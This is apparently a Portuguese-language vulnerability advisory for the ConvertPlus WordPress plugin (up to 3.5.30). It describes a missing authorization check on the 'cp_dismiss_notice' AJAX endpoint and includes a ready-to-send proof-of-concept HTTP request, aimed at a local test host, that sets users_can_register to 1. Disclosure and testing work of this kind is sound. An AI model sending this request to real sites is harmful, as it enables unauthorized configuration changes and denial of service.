
Plugin de Popup para WordPress - ConvertPlus <= 3.5.30 - Falta de Autorização para Usuários Autenticados (Assinante+) para Atualização Limitada de Opções
Plugin Popup Para WordPress - ConvertPlus <= 3.5.30 - Autorização Ausente para Atualização Limitada de Opções (Assinante+)
O plugin ConvertPlus para WordPress é vulnerável a modificação não autorizada de dados que pode levar a uma negação de serviço devido à falta de verificação de capacidade no endpoint AJAX 'cp_dismiss_notice' em todas as versões até, e incluindo, 3.5.30. Isso possibilita que atacantes autenticados, com acesso de nível Assinante ou superior, atualizem valores de opções para '1' no site WordPress. Isso pode ser aproveitado para atualizar uma opção que criaria um erro no site e negaria serviço a usuários legítimos, ou ser usado para definir alguns valores como verdadeiros, como o registro.
Notas
Ele apenas insere um 1 no banco de dados, então você só pode colocar um 1 em users_can_register
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:5555
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://kubernetes.docker.internal:5555
Connection: keep-alive
Referer: http://kubernetes.docker.internal:5555/wp-admin/options-general.php
Cookie: wordpress_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7C8cb19a315a9569e77d5be2bf7555f178a9edba2afbc32d1499b8cfd5552e28b9; wp-settings-1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse; wp-settings-time-1=1742893819; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7Cf4d35f828e20c240ecf95e5940bddf55741adc8048977e60afd45a178c003011
action=cp_dismiss_notice¬ice=users_can_register